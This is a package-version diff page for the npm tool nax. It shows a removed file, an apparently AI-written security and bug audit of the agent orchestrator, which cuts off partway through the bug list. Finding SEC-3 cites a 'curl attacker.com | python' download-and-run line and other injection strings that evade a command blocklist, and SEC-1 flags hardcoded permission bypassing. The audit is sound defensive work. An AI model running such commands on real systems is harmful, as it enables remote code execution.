@nathapp/nax 0.28.0 → 0.29.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (376) hide show
  1. package/CHANGELOG.md +13 -2
  2. package/dist/nax.js +72691 -0
  3. package/package.json +12 -4
  4. package/src/cli/config.ts +3 -1
  5. package/src/config/defaults.ts +1 -0
  6. package/src/config/schemas.ts +1 -0
  7. package/src/config/types.ts +1 -0
  8. package/src/context/builder.ts +10 -1
  9. package/src/prompts/sections/role-task.ts +4 -2
  10. package/src/review/runner.ts +6 -1
  11. package/src/version.ts +2 -1
  12. package/.claude/rules/01-project-conventions.md +0 -34
  13. package/.claude/rules/02-test-architecture.md +0 -39
  14. package/.claude/rules/03-test-writing.md +0 -58
  15. package/.claude/rules/04-forbidden-patterns.md +0 -29
  16. package/.claude/settings.json +0 -15
  17. package/.githooks/pre-commit +0 -16
  18. package/.gitlab-ci.yml +0 -103
  19. package/.mcp.json +0 -8
  20. package/BRIEF.md +0 -140
  21. package/CLAUDE.md +0 -143
  22. package/US-007-IMPLEMENTATION.md +0 -139
  23. package/biome.json +0 -14
  24. package/bun.lock +0 -163
  25. package/bunfig.toml +0 -12
  26. package/docker-compose.test.yml +0 -15
  27. package/docs/20260216-fix-plan-context-review.md +0 -56
  28. package/docs/20260216-relentless-vs-ngent-comparison.md +0 -208
  29. package/docs/20260216-v02-plan.md +0 -136
  30. package/docs/20260216-v02-review.md +0 -685
  31. package/docs/20260217-dogfood-findings.md +0 -56
  32. package/docs/20260217-p2-plus-plan.md +0 -117
  33. package/docs/20260217-partial-fixes-plan.md +0 -62
  34. package/docs/20260217-plan-analyze-spec.md +0 -117
  35. package/docs/20260217-post-impl-review.md +0 -1137
  36. package/docs/20260217-quick-wins-plan.md +0 -66
  37. package/docs/20260217-split-runner-plan.md +0 -75
  38. package/docs/20260217-v03-impl-plan.md +0 -80
  39. package/docs/20260217-v03-post-impl-review.md +0 -589
  40. package/docs/20260217-v04-impl-plan.md +0 -86
  41. package/docs/20260217-v05-post-impl-review.md +0 -850
  42. package/docs/20260217-v06-post-impl-review.md +0 -817
  43. package/docs/20260218-adr003-port-plan.md +0 -151
  44. package/docs/20260218-review-adr003-verification.md +0 -175
  45. package/docs/20260219-fix-plan-bug16-19.md +0 -79
  46. package/docs/20260219-fix-plan-bug20-22.md +0 -114
  47. package/docs/20260219-plan-llm-routing.md +0 -116
  48. package/docs/20260219-review-bug20-22-fixes.md +0 -135
  49. package/docs/20260219-routing-baseline-keyword.md +0 -63
  50. package/docs/20260220-plan-structured-logging-p1.md +0 -80
  51. package/docs/20260220-plan-structured-logging-p2.md +0 -37
  52. package/docs/20260220-review-llm-routing.md +0 -180
  53. package/docs/20260220-review-post-fix-llm-routing.md +0 -70
  54. package/docs/20260221-fix-plan-relevantfiles-split.md +0 -101
  55. package/docs/20260221-fix-plan-routing-mode.md +0 -125
  56. package/docs/20260221-review-v0.9-implementation.md +0 -379
  57. package/docs/20260222-fix-plan-v091-routing-isolation.md +0 -197
  58. package/docs/20260223-fix-plan-prompt-audit.md +0 -62
  59. package/docs/20260224-nax-roadmap-phases.md +0 -189
  60. package/docs/20260225-phase2-llm-service-layer.md +0 -401
  61. package/docs/20260225-review-v0.10.1.md +0 -187
  62. package/docs/20260303-v010-implementation-plan.md +0 -165
  63. package/docs/20260304-review-nax.md +0 -492
  64. package/docs/CLAUDE.md.bak +0 -191
  65. package/docs/ROADMAP.md +0 -390
  66. package/docs/SPEC-rectification.md +0 -0
  67. package/docs/SPEC.md +0 -324
  68. package/docs/US-001-plugin-loading-verification.md +0 -152
  69. package/docs/adr/ADR-005-implementation-plan.md +0 -655
  70. package/docs/adr/ADR-005-pipeline-re-architecture.md +0 -464
  71. package/docs/architecture-analysis.md +0 -1076
  72. package/docs/bugs/BUG-21-escalation-null-attempts.md +0 -48
  73. package/docs/bugs-from-dogfood-run-c.md +0 -243
  74. package/docs/code-review-20260228.md +0 -612
  75. package/docs/code-review-v0.15.0.md +0 -629
  76. package/docs/hook-lifecycle-test-plan.md +0 -149
  77. package/docs/releases/v0.11.0-and-earlier.md +0 -20
  78. package/docs/releases/v0.12.0.md +0 -15
  79. package/docs/releases/v0.13.0.md +0 -14
  80. package/docs/releases/v0.14.0.md +0 -20
  81. package/docs/releases/v0.14.1.md +0 -36
  82. package/docs/releases/v0.14.2.md +0 -51
  83. package/docs/releases/v0.14.3.md +0 -174
  84. package/docs/releases/v0.14.4.md +0 -94
  85. package/docs/releases/v0.15.0.md +0 -502
  86. package/docs/releases/v0.15.1.md +0 -170
  87. package/docs/releases/v0.15.3.md +0 -193
  88. package/docs/specs/bug-039-orphan-processes.md +0 -131
  89. package/docs/specs/bug-040-review-rectification.md +0 -82
  90. package/docs/specs/bug-041-cross-story-test-isolation.md +0 -88
  91. package/docs/specs/bug-042-verifier-failure-capture.md +0 -117
  92. package/docs/specs/bun-pty-migration.md +0 -171
  93. package/docs/specs/central-run-registry.md +0 -116
  94. package/docs/specs/feat-010-smart-runner-git-history.md +0 -96
  95. package/docs/specs/feat-011-file-context-strategy.md +0 -73
  96. package/docs/specs/feat-012-tdd-writer-tier.md +0 -79
  97. package/docs/specs/feat-013-test-after-review.md +0 -89
  98. package/docs/specs/feat-014-heartbeat-observability.md +0 -127
  99. package/docs/specs/status-file-consolidation.md +0 -93
  100. package/docs/specs/status-file-v0.10.1.md +0 -812
  101. package/docs/specs/trigger-completion.md +0 -145
  102. package/docs/specs/verification-architecture-v2.md +0 -343
  103. package/docs/tdd/strategies.md +0 -97
  104. package/docs/v0.10-global-config.md +0 -206
  105. package/docs/v0.10-plugin-system.md +0 -415
  106. package/docs/v0.10-prompt-optimizer.md +0 -234
  107. package/docs/v0.3-spec.md +0 -244
  108. package/docs/v0.4-spec.md +0 -140
  109. package/docs/v0.5-spec.md +0 -237
  110. package/docs/v0.6-spec.md +0 -371
  111. package/docs/v0.7-spec.md +0 -177
  112. package/docs/v0.8-llm-routing.md +0 -206
  113. package/docs/v0.8-structured-logging.md +0 -132
  114. package/docs/v0.9.3-prompt-audit.md +0 -112
  115. package/examples/plugins/console-reporter/index.test.ts +0 -207
  116. package/examples/plugins/console-reporter/index.ts +0 -110
  117. package/memory/topic/feat-010-baseref.md +0 -28
  118. package/memory/topic/feat-013-test-after-deprecation.md +0 -22
  119. package/nax/config.json +0 -154
  120. package/nax/features/bug-039-medium/prd.json +0 -45
  121. package/nax/features/bugfix-v0171/prd.json +0 -52
  122. package/nax/features/central-run-registry/prd.json +0 -105
  123. package/nax/features/config-management/prd.json +0 -108
  124. package/nax/features/config-management/progress.txt +0 -5
  125. package/nax/features/diagnose/acceptance.test.ts +0 -414
  126. package/nax/features/diagnose/prd.json +0 -41
  127. package/nax/features/nax-compliance/prd.json +0 -52
  128. package/nax/features/nax-compliance/progress.txt +0 -1
  129. package/nax/features/orchestration-fixes/prd.json +0 -89
  130. package/nax/features/orchestration-fixes/progress.txt +0 -1
  131. package/nax/features/plugin-integration/US-007-VERIFICATION.md +0 -259
  132. package/nax/features/plugin-integration/prd.json +0 -208
  133. package/nax/features/plugin-integration/progress.txt +0 -5
  134. package/nax/features/post-rearch-bugfix/prd.json +0 -137
  135. package/nax/features/precheck/prd.json +0 -205
  136. package/nax/features/precheck/progress.txt +0 -15
  137. package/nax/features/prompt-builder/prd.json +0 -152
  138. package/nax/features/prompt-builder/progress.txt +0 -3
  139. package/nax/features/review-quality/prd.json +0 -55
  140. package/nax/features/routing-persistence/prd.json +0 -104
  141. package/nax/features/routing-persistence/progress.txt +0 -1
  142. package/nax/features/smart-test-runner/plan.md +0 -7
  143. package/nax/features/smart-test-runner/prd.json +0 -203
  144. package/nax/features/smart-test-runner/progress.txt +0 -13
  145. package/nax/features/smart-test-runner/spec.md +0 -7
  146. package/nax/features/smart-test-runner/tasks.md +0 -8
  147. package/nax/features/status-file-consolidation/prd.json +0 -106
  148. package/nax/features/structured-logging/prd.json +0 -199
  149. package/nax/features/trigger-completion/prd.json +0 -150
  150. package/nax/features/trigger-completion/progress.txt +0 -7
  151. package/nax/features/unlock/prd.json +0 -36
  152. package/nax/features/v0.18.3-execution-reliability/prd.json +0 -80
  153. package/nax/features/v0.18.3-execution-reliability/progress.txt +0 -3
  154. package/nax/features/v0.19.0-hardening/plan.md +0 -7
  155. package/nax/features/v0.19.0-hardening/prd.json +0 -84
  156. package/nax/features/v0.19.0-hardening/progress.txt +0 -7
  157. package/nax/features/v0.19.0-hardening/spec.md +0 -18
  158. package/nax/features/v0.19.0-hardening/tasks.md +0 -8
  159. package/nax/features/verify-v2/prd.json +0 -79
  160. package/nax/features/verify-v2/progress.txt +0 -3
  161. package/nax/status.json +0 -36
  162. package/test/COVERAGE-GAPS.md +0 -333
  163. package/test/e2e/cm-003-default-view.test.ts +0 -195
  164. package/test/e2e/plan-analyze-run.test.ts +0 -902
  165. package/test/helpers/helpers.test.ts +0 -295
  166. package/test/helpers/timeout.ts +0 -42
  167. package/test/integration/US-002-TEST-SUMMARY.md +0 -107
  168. package/test/integration/US-003-TEST-SUMMARY.md +0 -149
  169. package/test/integration/US-004-TEST-SUMMARY.md +0 -106
  170. package/test/integration/US-005-TEST-SUMMARY.md +0 -138
  171. package/test/integration/US-007-TEST-SUMMARY.md +0 -100
  172. package/test/integration/cli/agent-validation.test.ts +0 -439
  173. package/test/integration/cli/cli-config-default-edge-cases.test.ts +0 -223
  174. package/test/integration/cli/cli-config-default-view.test.ts +0 -230
  175. package/test/integration/cli/cli-config-diff.test.ts +0 -461
  176. package/test/integration/cli/cli-config-prompts-explain.test.ts +0 -74
  177. package/test/integration/cli/cli-config.test.ts +0 -737
  178. package/test/integration/cli/cli-diagnose.test.ts +0 -595
  179. package/test/integration/cli/cli-logs.test.ts +0 -346
  180. package/test/integration/cli/cli-plugins.test.ts +0 -679
  181. package/test/integration/cli/cli-precheck.test.ts +0 -372
  182. package/test/integration/cli/cli-run-headless.test.ts +0 -174
  183. package/test/integration/cli/cli.test.ts +0 -76
  184. package/test/integration/cli/precheck-integration.test.ts +0 -476
  185. package/test/integration/cli/precheck-orchestrator.test.ts +0 -247
  186. package/test/integration/cli/precheck.test.ts +0 -806
  187. package/test/integration/config/config-loader.test.ts +0 -266
  188. package/test/integration/config/config.test.ts +0 -444
  189. package/test/integration/config/merger.test.ts +0 -466
  190. package/test/integration/config/paths.test.ts +0 -52
  191. package/test/integration/config/security-loader.test.ts +0 -83
  192. package/test/integration/context/context-integration.test.ts +0 -703
  193. package/test/integration/context/context-path-security.test.ts +0 -173
  194. package/test/integration/context/context-provider-injection.test.ts +0 -507
  195. package/test/integration/context/context-verification-integration.test.ts +0 -296
  196. package/test/integration/context/s5-greenfield-fallback.test.ts +0 -298
  197. package/test/integration/execution/execution-isolation.test.ts +0 -143
  198. package/test/integration/execution/execution.test.ts +0 -634
  199. package/test/integration/execution/feature-status-write.test.ts +0 -302
  200. package/test/integration/execution/parallel.test.ts +0 -251
  201. package/test/integration/execution/prd-pause.test.ts +0 -205
  202. package/test/integration/execution/prd-resolvers.test.ts +0 -186
  203. package/test/integration/execution/progress.test.ts +0 -34
  204. package/test/integration/execution/runner-batching.test.ts +0 -682
  205. package/test/integration/execution/runner-config-plugins.test.ts +0 -462
  206. package/test/integration/execution/runner-escalation.test.ts +0 -561
  207. package/test/integration/execution/runner-fixes.test.ts +0 -400
  208. package/test/integration/execution/runner-plugin-integration.test.ts +0 -544
  209. package/test/integration/execution/runner-queue-and-attempts.test.ts +0 -476
  210. package/test/integration/execution/status-file-integration.test.ts +0 -289
  211. package/test/integration/execution/status-file.test.ts +0 -380
  212. package/test/integration/execution/status-writer.test.ts +0 -447
  213. package/test/integration/execution/story-id-in-events.test.ts +0 -274
  214. package/test/integration/interaction/interaction-chain-pipeline.test.ts +0 -476
  215. package/test/integration/pipeline/hooks.test.ts +0 -363
  216. package/test/integration/pipeline/pipeline-acceptance.test.ts +0 -303
  217. package/test/integration/pipeline/pipeline-events.test.ts +0 -476
  218. package/test/integration/pipeline/pipeline.test.ts +0 -660
  219. package/test/integration/pipeline/reporter-lifecycle.test.ts +0 -862
  220. package/test/integration/pipeline/verify-stage.test.ts +0 -286
  221. package/test/integration/plan/analyze-integration.test.ts +0 -262
  222. package/test/integration/plan/analyze-scanner.test.ts +0 -132
  223. package/test/integration/plan/logger.test.ts +0 -461
  224. package/test/integration/plan/plan.test.ts +0 -157
  225. package/test/integration/plugins/config-integration.test.ts +0 -173
  226. package/test/integration/plugins/config-resolution.test.ts +0 -523
  227. package/test/integration/plugins/loader.test.ts +0 -644
  228. package/test/integration/plugins/plugins-registry.test.ts +0 -747
  229. package/test/integration/plugins/validator.test.ts +0 -564
  230. package/test/integration/prompts/pb-004-migration.test.ts +0 -523
  231. package/test/integration/review/review-config-commands.test.ts +0 -320
  232. package/test/integration/review/review-config-schema.test.ts +0 -117
  233. package/test/integration/review/review-plugin-integration.test.ts +0 -729
  234. package/test/integration/review/review.test.ts +0 -150
  235. package/test/integration/routing/plugin-routing-advanced.test.ts +0 -461
  236. package/test/integration/routing/plugin-routing-core.test.ts +0 -527
  237. package/test/integration/routing/routing-stage-bug-021.test.ts +0 -275
  238. package/test/integration/routing/routing-stage-greenfield.test.ts +0 -287
  239. package/test/integration/tdd/tdd-cleanup.test.ts +0 -246
  240. package/test/integration/tdd/tdd-orchestrator-core.test.ts +0 -565
  241. package/test/integration/tdd/tdd-orchestrator-failureCategory.test.ts +0 -355
  242. package/test/integration/tdd/tdd-orchestrator-fallback.test.ts +0 -311
  243. package/test/integration/tdd/tdd-orchestrator-lite.test.ts +0 -289
  244. package/test/integration/tdd/tdd-orchestrator-prompts.test.ts +0 -260
  245. package/test/integration/tdd/tdd-orchestrator-verdict.test.ts +0 -536
  246. package/test/integration/tmp/headless-test/test.jsonl +0 -30
  247. package/test/integration/verification/test-scanner.test.ts +0 -403
  248. package/test/integration/verification/verification-asset-check.test.ts +0 -143
  249. package/test/integration/worktree/manager.test.ts +0 -218
  250. package/test/integration/worktree/worktree-merge.test.ts +0 -341
  251. package/test/manual/logging-formatter-demo.ts +0 -158
  252. package/test/ui/tui-agent-panel.test.tsx +0 -99
  253. package/test/ui/tui-pty-integration.test.tsx +0 -146
  254. package/test/unit/acceptance.test.ts +0 -187
  255. package/test/unit/agent-stderr-capture.test.ts +0 -147
  256. package/test/unit/agents/claude.test.ts +0 -107
  257. package/test/unit/analyze-classifier.test.ts +0 -216
  258. package/test/unit/analyze.test.ts +0 -224
  259. package/test/unit/auto-detect.test.ts +0 -250
  260. package/test/unit/cli-status-project-level.test.ts +0 -283
  261. package/test/unit/cli-status.test.ts +0 -418
  262. package/test/unit/commands/common.test.ts +0 -321
  263. package/test/unit/commands/logs.test.ts +0 -458
  264. package/test/unit/commands/runs.test.ts +0 -303
  265. package/test/unit/commands/unlock.test.ts +0 -320
  266. package/test/unit/config/defaults.test.ts +0 -70
  267. package/test/unit/config/quality-commands-schema.test.ts +0 -72
  268. package/test/unit/config/regression-gate-schema.test.ts +0 -160
  269. package/test/unit/config/smart-runner-flag.test.ts +0 -250
  270. package/test/unit/constitution-generators.test.ts +0 -161
  271. package/test/unit/constitution.test.ts +0 -210
  272. package/test/unit/context/context-autodetect.test.ts +0 -297
  273. package/test/unit/context/context-build.test.ts +0 -575
  274. package/test/unit/context/context-coverage.test.ts +0 -236
  275. package/test/unit/context/context-error.test.ts +0 -93
  276. package/test/unit/context/context-estimate-tokens.test.ts +0 -201
  277. package/test/unit/context/context-format.test.ts +0 -302
  278. package/test/unit/context/context-isolation.test.ts +0 -267
  279. package/test/unit/context/context-sort.test.ts +0 -93
  280. package/test/unit/context/context-story.test.ts +0 -108
  281. package/test/unit/context/prior-failures.test.ts +0 -463
  282. package/test/unit/context.test.ts +0 -1726
  283. package/test/unit/cost.test.ts +0 -231
  284. package/test/unit/crash-recovery.test.ts +0 -309
  285. package/test/unit/escalation.test.ts +0 -127
  286. package/test/unit/execution/lifecycle/run-completion.test.ts +0 -240
  287. package/test/unit/execution/lifecycle/run-regression.test.ts +0 -420
  288. package/test/unit/execution/pid-registry.test.ts +0 -241
  289. package/test/unit/execution/sequential-executor.test.ts +0 -235
  290. package/test/unit/execution/sfc-004-dead-code-cleanup.test.ts +0 -89
  291. package/test/unit/execution/structured-failure.test.ts +0 -415
  292. package/test/unit/execution-logging-stderr.test.ts +0 -157
  293. package/test/unit/execution-stage.test.ts +0 -123
  294. package/test/unit/fix-generator.test.ts +0 -276
  295. package/test/unit/formatters.test.ts +0 -468
  296. package/test/unit/greenfield.test.ts +0 -180
  297. package/test/unit/hooks/shell-security.test.ts +0 -40
  298. package/test/unit/interaction/auto-plugin.test.ts +0 -162
  299. package/test/unit/interaction/human-review-trigger.test.ts +0 -165
  300. package/test/unit/interaction-network-failures.test.ts +0 -390
  301. package/test/unit/interaction-plugins.test.ts +0 -472
  302. package/test/unit/logging/formatter.test.ts +0 -456
  303. package/test/unit/merge.test.ts +0 -269
  304. package/test/unit/metrics/aggregator.test.ts +0 -164
  305. package/test/unit/metrics/tracker.test.ts +0 -186
  306. package/test/unit/metrics.test.ts +0 -276
  307. package/test/unit/optimizer/noop.optimizer.test.ts +0 -125
  308. package/test/unit/optimizer/rule-based.optimizer.test.ts +0 -358
  309. package/test/unit/pipeline/event-bus.test.ts +0 -105
  310. package/test/unit/pipeline/routing-partial-override.test.ts +0 -121
  311. package/test/unit/pipeline/runner-retry.test.ts +0 -89
  312. package/test/unit/pipeline/stages/autofix.test.ts +0 -97
  313. package/test/unit/pipeline/stages/completion-review-gate.test.ts +0 -218
  314. package/test/unit/pipeline/stages/execution-ambiguity.test.ts +0 -311
  315. package/test/unit/pipeline/stages/execution-merge-conflict.test.ts +0 -218
  316. package/test/unit/pipeline/stages/rectify.test.ts +0 -101
  317. package/test/unit/pipeline/stages/regression-stage.test.ts +0 -69
  318. package/test/unit/pipeline/stages/review.test.ts +0 -201
  319. package/test/unit/pipeline/stages/routing-idempotence.test.ts +0 -139
  320. package/test/unit/pipeline/stages/routing-initial-complexity.test.ts +0 -321
  321. package/test/unit/pipeline/stages/routing-persistence.test.ts +0 -380
  322. package/test/unit/pipeline/stages/verify.test.ts +0 -267
  323. package/test/unit/pipeline/subscribers/events-writer.test.ts +0 -227
  324. package/test/unit/pipeline/subscribers/hooks.test.ts +0 -84
  325. package/test/unit/pipeline/subscribers/interaction.test.ts +0 -313
  326. package/test/unit/pipeline/subscribers/registry.test.ts +0 -149
  327. package/test/unit/pipeline/subscribers/reporters.test.ts +0 -90
  328. package/test/unit/pipeline/verify-smart-runner.test.ts +0 -345
  329. package/test/unit/prd-auto-default.test.ts +0 -291
  330. package/test/unit/prd-failure-category.test.ts +0 -177
  331. package/test/unit/prd-get-next-story.test.ts +0 -215
  332. package/test/unit/precheck/checks-warnings.test.ts +0 -114
  333. package/test/unit/precheck-checks.test.ts +0 -841
  334. package/test/unit/precheck-story-size-gate.test.ts +0 -288
  335. package/test/unit/precheck-types.test.ts +0 -143
  336. package/test/unit/prompts/builder.test.ts +0 -258
  337. package/test/unit/prompts/loader.test.ts +0 -355
  338. package/test/unit/prompts/sections/conventions.test.ts +0 -30
  339. package/test/unit/prompts/sections/isolation.test.ts +0 -35
  340. package/test/unit/prompts/sections/role-task.test.ts +0 -40
  341. package/test/unit/prompts/sections/sections.test.ts +0 -238
  342. package/test/unit/prompts/sections/story.test.ts +0 -45
  343. package/test/unit/prompts/sections/verdict.test.ts +0 -58
  344. package/test/unit/prompts.test.ts +0 -476
  345. package/test/unit/queue.test.ts +0 -237
  346. package/test/unit/rectification.test.ts +0 -285
  347. package/test/unit/registry.test.ts +0 -288
  348. package/test/unit/review/runner.test.ts +0 -117
  349. package/test/unit/routing/content-hash.test.ts +0 -99
  350. package/test/unit/routing/routing-stability.test.ts +0 -208
  351. package/test/unit/routing/strategies/llm.test.ts +0 -306
  352. package/test/unit/routing-advanced.test.ts +0 -313
  353. package/test/unit/routing-core.test.ts +0 -341
  354. package/test/unit/routing-strategies.test.ts +0 -440
  355. package/test/unit/storyid-events.test.ts +0 -213
  356. package/test/unit/tdd-verdict.test.ts +0 -492
  357. package/test/unit/test-output-parser.test.ts +0 -377
  358. package/test/unit/ui/tui-controls.test.ts +0 -335
  359. package/test/unit/ui/tui-cost-and-pty.test.ts +0 -190
  360. package/test/unit/ui/tui-layout.test.ts +0 -379
  361. package/test/unit/ui/tui-stories.test.ts +0 -333
  362. package/test/unit/unit-isolation.test.ts +0 -135
  363. package/test/unit/utils/git.test.ts +0 -50
  364. package/test/unit/utils/path-security.test.ts +0 -47
  365. package/test/unit/utils-helpers.test.ts +0 -318
  366. package/test/unit/verdict.test.ts +0 -325
  367. package/test/unit/verification/orchestrator-types.test.ts +0 -54
  368. package/test/unit/verification/orchestrator.test.ts +0 -66
  369. package/test/unit/verification/smart-runner-config.test.ts +0 -163
  370. package/test/unit/verification/smart-runner-discovery.test.ts +0 -354
  371. package/test/unit/verification/smart-runner.test.ts +0 -262
  372. package/test/unit/verification/strategies/acceptance.test.ts +0 -33
  373. package/test/unit/verification/strategies/regression.test.ts +0 -87
  374. package/test/unit/verification/strategies/scoped.test.ts +0 -100
  375. package/test/unit/worktree-manager.test.ts +0 -159
  376. package/tsconfig.json +0 -27
@@ -1,612 +0,0 @@
1
- # NAX Codebase Audit -- 2026-02-28
2
-
3
- **Auditor:** Claude Opus 4.6 (code-reviewer agent)
4
- **Scope:** Full src/ directory -- 27,333 lines across 130 TypeScript files
5
- **Verdict:** Grade C- (Conditional Pass with Mandatory Fixes)
6
-
7
- ---
8
-
9
- ## Executive Summary
10
-
11
- nax is a well-architected AI agent orchestrator with solid domain modeling
12
- (pipeline stages, routing strategies, plugin system). The Zod-validated
13
- config, path-security module, and structured error classes show mature
14
- engineering judgment. However, several critical issues must be resolved
15
- before any production release:
16
-
17
- 1. **`--dangerously-skip-permissions` is hardcoded** in the agent adapter,
18
- bypassing all safety controls in every execution.
19
- 2. **runner.ts at 1,685 lines** is a maintenance hazard -- duplicated logic
20
- with story-dispatcher.ts creates divergence risk.
21
- 3. **Crash handler captures stale closure values** for cost/iterations,
22
- meaning crash status files will contain incorrect data.
23
- 4. **Lock file has a TOCTOU race** between checking existence and writing.
24
- 5. **LLM routing cache is a module-level Map** with no size limit, growing
25
- unboundedly across stories.
26
-
27
- ---
28
-
29
- ## Findings
30
-
31
- ### SECURITY
32
-
33
- ```
34
- [SEC-1] CRITICAL -- Hardcoded --dangerously-skip-permissions
35
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:140
36
- Issue: Every agent invocation passes --dangerously-skip-permissions to
37
- Claude Code CLI. This disables all permission prompts and safety
38
- checks. The flag is not configurable -- it is hardcoded into
39
- buildCommand().
40
- Fix: Make this configurable via NaxConfig. Default to a safer mode
41
- (e.g., --permission-mode allowedTools) and only allow
42
- --dangerously-skip-permissions via explicit opt-in in config.
43
-
44
- // Current (dangerous)
45
- return [this.binary, "--model", model, "--dangerously-skip-permissions", "-p", options.prompt];
46
-
47
- // Proposed
48
- const permFlag = options.dangerouslySkipPermissions
49
- ? "--dangerously-skip-permissions"
50
- : "--permission-mode";
51
- return [this.binary, "--model", model, permFlag, "-p", options.prompt];
52
- ```
53
-
54
- ```
55
- [SEC-2] HIGH -- Plugin loader executes arbitrary code via dynamic import
56
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:203
57
- Issue: loadAndValidatePlugin() calls `await import(modulePath)` on
58
- user-provided paths from config.plugins[].module. While the
59
- validator checks the plugin shape AFTER import, the import itself
60
- executes top-level module code unconditionally. A malicious plugin
61
- module can run arbitrary code at import time.
62
- Fix: Document the security boundary clearly. Consider sandboxing plugin
63
- imports or at minimum validating the path is within expected
64
- directories before importing. Add a "trusted plugins" allowlist.
65
- ```
66
-
67
- ```
68
- [SEC-3] HIGH -- Hook commands are not fully sandboxed
69
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/hooks/runner.ts:120-136
70
- Issue: validateHookCommand() rejects only a small set of patterns ($(..),
71
- backticks, rm -rf). Sophisticated injection is still possible:
72
- - eval "malicious code"
73
- - curl attacker.com | python
74
- - python -c "import os; os.system('...')"
75
- The parseCommandToArgv() function splits on whitespace, which does
76
- not properly handle quoted arguments (e.g., commands with spaces in
77
- file paths will break).
78
- Fix: Use a proper command parser or restrict hooks to a predefined set
79
- of allowed commands/binaries. Consider using an allowlist approach
80
- rather than a blocklist.
81
- ```
82
-
83
- ```
84
- [SEC-4] MEDIUM -- Environment variable leakage to spawned agents
85
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:226-229
86
- Issue: The agent process inherits the full process.env via spread
87
- operator. This could leak sensitive environment variables (database
88
- credentials, API keys from other services) to the spawned claude
89
- process and any code it generates/executes.
90
- Fix: Create an explicit allowlist of environment variables to pass
91
- through, rather than passing all of process.env.
92
- ```
93
-
94
- ```
95
- [SEC-5] MEDIUM -- No path validation on constitution/hook file paths
96
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/constitution/loader.ts:77-88
97
- Issue: Constitution paths are joined from config without validation
98
- against the path-security module. A config with
99
- constitution.path = "../../etc/passwd" could read arbitrary files.
100
- The path-security module exists but is not used here.
101
- Fix: Use validateFilePath() from path-security.ts before reading
102
- constitution files.
103
- ```
104
-
105
- ### BUGS
106
-
107
- ```
108
- [BUG-1] CRITICAL -- Crash handler captures stale cost/iteration values
109
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:216-222
110
- Issue: installCrashHandlers() receives ctx.totalCost and ctx.iterations
111
- as VALUES, not closures. The signal handler will always write the
112
- initial values (0 and 0) to the crash status, regardless of how
113
- far the run progressed.
114
-
115
- installCrashHandlers({
116
- statusWriter,
117
- totalCost, // <-- captured as 0 at installation time
118
- iterations, // <-- captured as 0 at installation time
119
- ...
120
- });
121
-
122
- Compare with startHeartbeat() which correctly uses closure getters:
123
- () => totalCost,
124
- () => iterations,
125
-
126
- Fix: Pass closures instead of values:
127
- installCrashHandlers({
128
- statusWriter,
129
- get totalCost() { return totalCost; },
130
- get iterations() { return iterations; },
131
- ...
132
- });
133
- Or refactor CrashRecoveryContext to accept getter functions.
134
- ```
135
-
136
- ```
137
- [BUG-2] HIGH -- TOCTOU race in lock file acquisition
138
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:311-346
139
- Issue: acquireLock() checks if the lock file exists, then writes it.
140
- Between the check and write, another process can also check and
141
- find no lock, leading to two processes both believing they
142
- acquired the lock. The lock mechanism uses Bun.write which is
143
- not atomic.
144
- Fix: Use an atomic file creation approach:
145
- - On POSIX: use O_CREAT | O_EXCL flags (exclusive create)
146
- - Or use a proper advisory lock (flock/lockfile)
147
- - Or use mkdir as a lock (mkdir is atomic on most filesystems)
148
- ```
149
-
150
- ```
151
- [BUG-3] HIGH -- Massive code duplication between runner.ts and story-dispatcher.ts
152
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts
153
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/story-dispatcher.ts
154
- Issue: story-dispatcher.ts contains 765 lines that duplicate nearly all
155
- the logic in runner.ts. Both files define:
156
- - applyCachedRouting() (identical)
157
- - tryLlmBatchRoute() (identical)
158
- - resolveMaxAttemptsOutcome() (identical)
159
- - The entire escalation/pause/fail/skip switch-case logic
160
- However, runner.ts has additional features (S5 greenfield-no-tests
161
- test-after fallback, BUG-011 tier reset) that story-dispatcher.ts
162
- lacks. This divergence means fixes applied to one file are missed
163
- in the other.
164
- Fix: Delete story-dispatcher.ts or complete the extraction. runner.ts
165
- should call into shared functions. The current state is the worst
166
- of both worlds: duplicated code with subtle differences.
167
- ```
168
-
169
- ```
170
- [BUG-4] HIGH -- Parallel execution concurrency limiter is broken
171
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/parallel.ts:218-221
172
- Issue: The concurrency limiter uses Promise.race(executing) but never
173
- removes resolved promises from the executing array. This means:
174
- 1. The array grows unboundedly
175
- 2. Promise.race will always resolve immediately after the first
176
- task completes (already-resolved promises resolve immediately)
177
- 3. The concurrency limit is effectively not enforced after the
178
- first batch
179
- Fix: Track executing promises properly:
180
- - Remove completed promises from the array
181
- - Use a semaphore pattern or p-limit library
182
- ```
183
-
184
- ```
185
- [BUG-5] MEDIUM -- getAllReadyStories does not filter "failed" or "paused" stories
186
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:259-265
187
- Issue: The function only filters by !s.passes and s.status !== "skipped".
188
- Stories with status "failed", "paused", or "blocked" are included
189
- in the "ready" list, meaning they will be retried even if they
190
- should be skipped.
191
- Fix: Add explicit status checks:
192
- s.status !== "failed" && s.status !== "paused" && s.status !== "blocked"
193
- ```
194
-
195
- ```
196
- [BUG-6] MEDIUM -- LLM routing callLlm reads stdout before waiting for exit
197
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:147-156
198
- Issue: The outputPromise reads stdout/stderr AND awaits proc.exited.
199
- But reading streams before the process exits may return incomplete
200
- data if the process is still writing. Additionally, the timeout
201
- kills the process but does not drain its streams, potentially
202
- causing the outputPromise to hang (same Bun stream bug documented
203
- in verification.ts).
204
- Fix: Use the same drainWithDeadline() pattern from verification.ts
205
- for the timeout path.
206
